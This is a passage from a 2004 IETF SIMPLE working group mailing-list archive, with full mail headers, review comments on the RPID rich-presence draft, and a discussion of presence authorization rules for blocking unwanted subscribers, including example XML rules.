> >    This extension includes information about what the presentity is
> >    doing (the activity element), a grouping identifier for=20
> a tuple (the
> >    class element), the type of tuple (the contact-type=20
> element), whether
> >    a contact is idle (the idle element), the typle of place=20
> a presentity
> >    is in (the placetype element), whether the presentity is=20
> in a public
> >    or private space (the privacy element), the relationship=20
> of a tuple
> >    to another presentity (the relationship element), and the overall
> >    role of the presentity (the sphere element).
> >=20
> > A URL for this Internet-Draft is:
> > http://www.ietf.org/internet-drafts/draft-ietf-simple-rpid-03.txt
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 25 09:30:09 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23990
	for <simple-archive@odin.ietf.org>; Thu, 25 Mar 2004 09:30:08 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6VrW-00042O-CT
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 09:29:41 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2PETV7X015464
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 09:29:31 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6VrJ-00040F-8a
	for simple-web-archive@optimus.ietf.org; Thu, 25 Mar 2004 09:29:25 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA23890
	for <simple-web-archive@ietf.org>; Thu, 25 Mar 2004 09:29:11 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Vr6-0000jS-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 09:29:12 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Voy-0000MQ-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 09:27:02 -0500
Received: from [65.246.255.50] (helo=mx2.foretec.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Vn1-0007ly-02; Thu, 25 Mar 2004 09:24:59 -0500
Received: from optimus22.ietf.org ([132.151.6.22] helo=optimus.ietf.org)
	by mx2.foretec.com with esmtp (Exim 4.24)
	id 1B6VXo-0005U7-Um; Thu, 25 Mar 2004 09:09:21 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6VXX-0006cX-Vl; Thu, 25 Mar 2004 09:08:59 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6Sv4-0003rP-CB
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 06:21:06 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA15299
	for <simple@ietf.org>; Thu, 25 Mar 2004 06:21:01 -0500 (EST)
From: eva-maria.leppanen@nokia.com
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Sv0-0004ur-00
	for simple@ietf.org; Thu, 25 Mar 2004 06:21:02 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Su3-0004pm-00
	for simple@ietf.org; Thu, 25 Mar 2004 06:20:03 -0500
Received: from mgw-x1.nokia.com ([131.228.20.21])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Stg-0004kY-00
	for simple@ietf.org; Thu, 25 Mar 2004 06:19:40 -0500
Received: from esdks003.ntc.nokia.com (esdks003.ntc.nokia.com [172.21.138.158])
	by mgw-x1.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2PBJWA02790;
	Thu, 25 Mar 2004 13:19:32 +0200 (EET)
X-Scanned: Thu, 25 Mar 2004 13:19:01 +0200 Nokia Message Protector V1.3.21 2004031416 - RELEASE
Received: (from root@localhost)
	by esdks003.ntc.nokia.com (8.12.9/8.12.9) id i2PBJ18k009736;
	Thu, 25 Mar 2004 13:19:01 +0200
Received: from mgw-int1.ntc.nokia.com (172.21.143.96)
	by esdks003.ntc.nokia.com 00zTSNLE; Thu, 25 Mar 2004 13:18:58 EET
Received: from esebh003.NOE.Nokia.com (esebh003.ntc.nokia.com [172.21.138.82])
	by mgw-int1.ntc.nokia.com (Switch-2.2.8/Switch-2.2.8) with ESMTP id i2PBIvs12837;
	Thu, 25 Mar 2004 13:18:57 +0200 (EET)
Received: from esebh005.NOE.Nokia.com ([172.21.138.86]) by esebh003.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 13:18:56 +0200
Received: from esebe018.NOE.Nokia.com ([172.21.138.57]) by esebh005.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 13:18:54 +0200
Received: from trebe003.NOE.Nokia.com ([172.22.232.175]) by esebe018.NOE.Nokia.com with Microsoft SMTPSVC(5.0.2195.6881);
	 Thu, 25 Mar 2004 13:18:54 +0200
X-MimeOLE: Produced By Microsoft Exchange V6.0.6487.1
content-class: urn:content-classes:message
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: quoted-printable
Subject: RE: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
Message-ID: <B744152568467B468EDFD4B6A5D92414011263@trebe003.europe.nokia.com>
Thread-Topic: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
Thread-Index: AcQQsPpMJC1zEGHaS6mNofFPlhcqOQBo3Y3w
To: <hgs@cs.columbia.edu>, <simple@ietf.org>
X-OriginalArrivalTime: 25 Mar 2004 11:18:54.0670 (UTC) FILETIME=[F5665EE0:01C4125A]
Content-Transfer-Encoding: quoted-printable
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 13:18:53 +0200
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.3 required=5.0 tests=AWL,NO_REAL_NAME autolearn=no 
	version=2.60
Content-Transfer-Encoding: quoted-printable
Content-Transfer-Encoding: quoted-printable

Hi,

I have the following comments (mainly just typos):

- Abstract: "typle" -> "type"
- 4.1: "urn:ietf:params:xml:ns:pidf:status:rpid-tuple" -> "status" to be =
removed
- 4.2: the sentence after the list of pre-defined activities states that =
"The <activity> element
MAY be qualified with the 'since' and 'until'..." -> I did not find =
support for this from XML Schema.
- 4.3 (Class): Also the authorisation use could be mentioned because the =
class element has quite a central
role in presence authorization.
- 4.4 "<contacttype>" -> "<contact-type>"
- 4.5 (Idle): the 'since' attribute could be mentioned in the text.
- 4.7 (Privacy): The example talks still about the "quiet" value.
- 4.7 (the last sentence): "The placetype element MAY be qualified with =
..." -> "The <privacy> element MAY..."
- 5.1 (XML example / tuple having id=3D"x765"):
	- outermost <ep:activity> </ep:activity> should be <ep:activities> and =
</ep:activities>=20
	- <ep:privacy> has the value "quiet" which is no more supported by the =
<privacy> element
	- according to XML Schema the 'since' information should be provided by =
XML attribute instead of <idle> element's value 	as <ep:idle =
since=3D"2003..."/>
- 5.1 (XML example / tuple having id=3D"bs9r"):
	- <ep:privacy> has the value "quiet" which is no more supported by the =
<privacy> element
- 5.1 (XML example / tuple having id=3D"eg92n"):=20
	- namespace definition for 'nn' is missing (<nn:blah>)
- 6.1 and 6.2 (XML schemas): I did not find any reason to define the =
pidf namespace in the schema (see xmlns:pidf=3D"urn...")

BR, Eva

> -----Original Message-----
> From: simple-admin@ietf.org [mailto:simple-admin@ietf.org]On Behalf Of
> ext Henning Schulzrinne
> Sent: 23 March, 2004 01:23
> To: simple@ietf.org
> Subject: Re: [Simple] I-D ACTION:draft-ietf-simple-rpid-03.txt
>=20
>=20
> I believe that this draft incorporates all comments received=20
> so far and=20
> is ready for WGLC.
>=20
> Internet-Drafts@ietf.org wrote:
>=20
> > A New Internet-Draft is available from the on-line=20
> Internet-Drafts directories.
> > This draft is a work item of the SIP for Instant Messaging=20
> and Presence Leveraging Extensions Working Group of the IETF.
> >=20
> > 	Title		: RPID: Rich Presence: Extensions to=20
> the Presence Information Data Format (PIDF)
> > 	Author(s)	: H. Schulzrinne, V. Gurbani, P.=20
> Kyzivat, J. Rosenberg
> > 	Filename	: draft-ietf-simple-rpid-03.txt
> > 	Pages		: 19
> > 	Date		: 2004-3-22
> > =09
> > The Rich Presence Information Data Format (RPID) adds=20
> elements to the
> >    Presence Information Data Format (PIDF) that provide additional
> >    information about the presentity and its contacts.  The=20
> information
> >    is designed so that much of it can be derived=20
> automatically, e.g.,
> >    from calendar files or user activity.
> >=20
> >    This extension includes information about what the presentity is
> >    doing (the activity element), a grouping identifier for=20
> a tuple (the
> >    class element), the type of tuple (the contact-type=20
> element), whether
> >    a contact is idle (the idle element), the typle of place=20
> a presentity
> >    is in (the placetype element), whether the presentity is=20
> in a public
> >    or private space (the privacy element), the relationship=20
> of a tuple
> >    to another presentity (the relationship element), and the overall
> >    role of the presentity (the sphere element).
> >=20
> > A URL for this Internet-Draft is:
> > http://www.ietf.org/internet-drafts/draft-ietf-simple-rpid-03.txt
>=20
>=20
> _______________________________________________
> Simple mailing list
> Simple@ietf.org
> https://www1.ietf.org/mailman/listinfo/simple
>=20

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Thu Mar 25 11:03:46 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03127
	for <simple-archive@ietf.org>; Thu, 25 Mar 2004 11:03:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6XKe-00035X-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 11:03:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6XIE-0002YY-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 11:01:20 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6XGD-0002Il-06; Thu, 25 Mar 2004 10:59:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6X4Q-0002yK-2U; Thu, 25 Mar 2004 10:47:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6X3n-0002pN-3f
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 10:46:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01750
	for <simple@ietf.org>; Thu, 25 Mar 2004 10:46:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6X3k-0001WJ-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:46:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6X2x-0001QS-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:45:31 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6X1w-0001DR-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:44:28 -0500
Received: from dynamicsoft.com ([63.113.46.8])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2PFhSNr024060;
	Thu, 25 Mar 2004 10:43:28 -0500 (EST)
Message-ID: <4062FE13.6030400@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ben Campbell <bcampbell@dynamicsoft.com>
CC: Ted Hardie <hardie@qualcomm.com>,
        Henning Schulzrinne <hgs@cs.columbia.edu>, Markus.Isomaki@nokia.com,
        simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
  of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com> <4061967C.4070801@cs.columbia.edu> <p06020400bc8772ec8a91@[129.46.227.161]> <4061D296.9060500@dynamicsoft.com>
In-Reply-To: <4061D296.9060500@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 10:43:15 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

You can still achieve the functionality you want, Ben, without requiring 
the new rule Henning had proposed:

<rule>
<conditions>
   <identity>
     <domain>example.com</domain>
     <except>joe</except>
   <identity>
</conditions>

<actions>
   <ask-for-confirmation/>
</actions>
</rule>

<rule>
<conditions>
   <identity>
     <user>joe</user>
   <identity>
</conditions>

<actions>
   <deny-subscription/>
</actions>
</rule>


Of course, you need to be careful that the user joe is not a member of 
any other rule which grants a permission greater than 
"deny-subscription", but thats a fundamental property of the model in 
general.

-Jonathan R.

Ben Campbell wrote:

> Ted Hardie wrote:
> 
>> At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
>>
>>> "Everybody in the world, in any domain, gets to *ask* to subscribe to 
>>> my presence, but Alice, Bob and Carol have already been told to take 
>>> a hike and thus shouldn't even be able to ask."
>>>
>>> Is this the type of rule we want to be to support?
>>
>>
>>
>> It's seems to me to be a lot easier just to keep telling them to take 
>> a hike
>> whenever they ask; is there a reason to optimize for this case that I'm
>> missing?
> 
> 
> The act of asking can become a kind of harrassment. Some time ago, I had 
> a yahoo messenger user that continuously asked permission to watch my 
> presence, but refused to identify themselves to me. This continued after 
> I asked them to desist. Fortunately, yahoo messenger allowed me to block 
> that ID, so I no longer get bothered by them.
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From simple-admin@ietf.org  Thu Mar 25 11:03:50 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03176
	for <simple-archive@ietf.org>; Thu, 25 Mar 2004 11:03:50 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6XKi-00036Z-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 11:03:52 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6XIL-0002Zx-00
	for simple-archive@ietf.org; Thu, 25 Mar 2004 11:01:27 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6XGD-0002Il-0F; Thu, 25 Mar 2004 10:59:14 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6X2r-0002XF-2Z; Thu, 25 Mar 2004 10:45:25 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6WzZ-0001FB-6p
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 10:42:01 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01221
	for <simple@ietf.org>; Thu, 25 Mar 2004 10:41:57 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6WzW-00018C-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:41:58 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6Wyd-000171-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:41:04 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6Wxr-00012y-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:40:15 -0500
Received: from dynamicsoft.com ([63.113.46.8])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2PFdmNr024057;
	Thu, 25 Mar 2004 10:39:49 -0500 (EST)
Message-ID: <4062FD37.6070406@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Henning Schulzrinne <hgs@cs.columbia.edu>
CC: Markus.Isomaki@nokia.com, simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
 of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com> <4061967C.4070801@cs.columbia.edu>
In-Reply-To: <4061967C.4070801@cs.columbia.edu>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 10:39:35 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit

inline.

Henning Schulzrinne wrote:

> 
>>> I think the concept of 'everybody gets to ask for permission before 
>>> subscribing except bad guys A, B and C who I've already told to get 
>>> lost' is useful and might implementable by an appropriate ordering of
>>>  actions. For example, if you order actions as
>>>
>>> known_reject (highest), permit, ask, dont_bother (lowest, default)
>>>
>>> the right thing happens. However, caveats about file merging apply.
>>
>>
>>
>> Henning - I dont understand how this is privacy safe. In your 
>> ordering, there is not a strictly increasing amount of information 
>> revealed as the values increase.
> 
> 
> The idea is 'known reject' trumps all other values. Thus, if your 
> identity matches such a rule, it gets bounced even if a more 
> encompassing rule allows to request permission.

I understand that; its definitely a change in the model though, and 
could be confusing to users to have this special case where the behavior 
is different.


> 
> This is unnecessary if we agree that global blacklists are a bad idea 
> even for the subscription (as opposed to information delivery) phase. My 
> notion is only needed if you want to support the notion:
> 
> "Everybody in the world, in any domain, gets to *ask* to subscribe to my 
> presence, but Alice, Bob and Carol have already been told to take a hike 
> and thus shouldn't even be able to ask."

The proposal doesnt solve the problem that made wildcards problematic to 
begin with, which was the ease of obtaining identities within certain 
domains. I can still be bothered by the same person who just keeps 
signing up for more yahoo accounts.


> 
> Is this the type of rule we want to be to support?

I'm inclined to say no; I'd like to see if some kind of enumerated 
domain listing or something would address Markus' concern.

-Jonathan R.



-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Thu Mar 25 11:04:19 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03306
	for <simple-archive@odin.ietf.org>; Thu, 25 Mar 2004 11:04:19 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6XKh-0005eu-LU
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 11:03:53 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2PG3p53021751
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 11:03:51 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6XKh-0005ea-A2
	for simple-web-archive@optimus.ietf.org; Thu, 25 Mar 2004 11:03:51 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03130
	for <simple-web-archive@ietf.org>; Thu, 25 Mar 2004 11:03:46 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6XKe-00035f-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 11:03:48 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6XIG-0002Yq-00
	for simple-web-archive@ietf.org; Thu, 25 Mar 2004 11:01:21 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6XGD-0002Il-06; Thu, 25 Mar 2004 10:59:13 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6X4Q-0002yK-2U; Thu, 25 Mar 2004 10:47:02 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6X3n-0002pN-3f
	for simple@optimus.ietf.org; Thu, 25 Mar 2004 10:46:23 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA01750
	for <simple@ietf.org>; Thu, 25 Mar 2004 10:46:19 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6X3k-0001WJ-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:46:20 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1B6X2x-0001QS-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:45:31 -0500
Received: from [63.113.44.69] (helo=mail3.dynamicsoft.com)
	by ietf-mx with esmtp (Exim 4.12)
	id 1B6X1w-0001DR-00
	for simple@ietf.org; Thu, 25 Mar 2004 10:44:28 -0500
Received: from dynamicsoft.com ([63.113.46.8])
	by mail3.dynamicsoft.com (8.12.8/8.12.1) with ESMTP id i2PFhSNr024060;
	Thu, 25 Mar 2004 10:43:28 -0500 (EST)
Message-ID: <4062FE13.6030400@dynamicsoft.com>
From: Jonathan Rosenberg <jdrosen@dynamicsoft.com>
Organization: dynamicsoft
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040113
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: Ben Campbell <bcampbell@dynamicsoft.com>
CC: Ted Hardie <hardie@qualcomm.com>,
        Henning Schulzrinne <hgs@cs.columbia.edu>, Markus.Isomaki@nokia.com,
        simple@ietf.org
Subject: Re: supporitng blacklists, was: Re: [Simple] Comments on: First draft
  of text on semantic-based authorization policies [exceptions]
References: <E392EEA75EC5F54AB75229B693B1B6A707E7A3B2@esebe018.ntc.nokia.com> <4060F169.3090306@cs.columbia.edu> <40613FE8.909@dynamicsoft.com> <4061967C.4070801@cs.columbia.edu> <p06020400bc8772ec8a91@[129.46.227.161]> <4061D296.9060500@dynamicsoft.com>
In-Reply-To: <4061D296.9060500@dynamicsoft.com>
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Thu, 25 Mar 2004 10:43:15 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.0 required=5.0 tests=AWL autolearn=no version=2.60
Content-Transfer-Encoding: 7bit
Content-Transfer-Encoding: 7bit

You can still achieve the functionality you want, Ben, without requiring 
the new rule Henning had proposed:

<rule>
<conditions>
   <identity>
     <domain>example.com</domain>
     <except>joe</except>
   <identity>
</conditions>

<actions>
   <ask-for-confirmation/>
</actions>
</rule>

<rule>
<conditions>
   <identity>
     <user>joe</user>
   <identity>
</conditions>

<actions>
   <deny-subscription/>
</actions>
</rule>


Of course, you need to be careful that the user joe is not a member of 
any other rule which grants a permission greater than 
"deny-subscription", but thats a fundamental property of the model in 
general.

-Jonathan R.

Ben Campbell wrote:

> Ted Hardie wrote:
> 
>> At 9:09 AM -0500 03/24/2004, Henning Schulzrinne wrote:
>>
>>> "Everybody in the world, in any domain, gets to *ask* to subscribe to 
>>> my presence, but Alice, Bob and Carol have already been told to take 
>>> a hike and thus shouldn't even be able to ask."
>>>
>>> Is this the type of rule we want to be to support?
>>
>>
>>
>> It's seems to me to be a lot easier just to keep telling them to take 
>> a hike
>> whenever they ask; is there a reason to optimize for this case that I'm
>> missing?
> 
> 
> The act of asking can become a kind of harrassment. Some time ago, I had 
> a yahoo messenger user that continuously asked permission to watch my 
> presence, but refused to identify themselves to me. This continued after 
> I asked them to desist. Fortunately, yahoo messenger allowed me to block 
> that ID, so I no longer get bothered by them.
> 

-- 
Jonathan D. Rosenberg, Ph.D.                600 Lanidex Plaza
Chief Technology Officer                    Parsippany, NJ 07054-2711
dynamicsoft
jdrosen@dynamicsoft.com                     FAX:   (973) 952-5050
http://www.jdrosen.net                      PHONE: (973) 952-5000
http://www.dynamicsoft.com

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From exim@www1.ietf.org  Thu Mar 25 11:04:22 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA03336
	for <simple-archive@odin.ietf.org>; Thu, 25 Mar 2004 11:04:22 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1B6XKm-0005fd-Go
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 11:03:56 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i2PG3uCN021791
	for simple-archive@odin.ietf.org; Thu, 25 Mar 2004 11:03:56 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
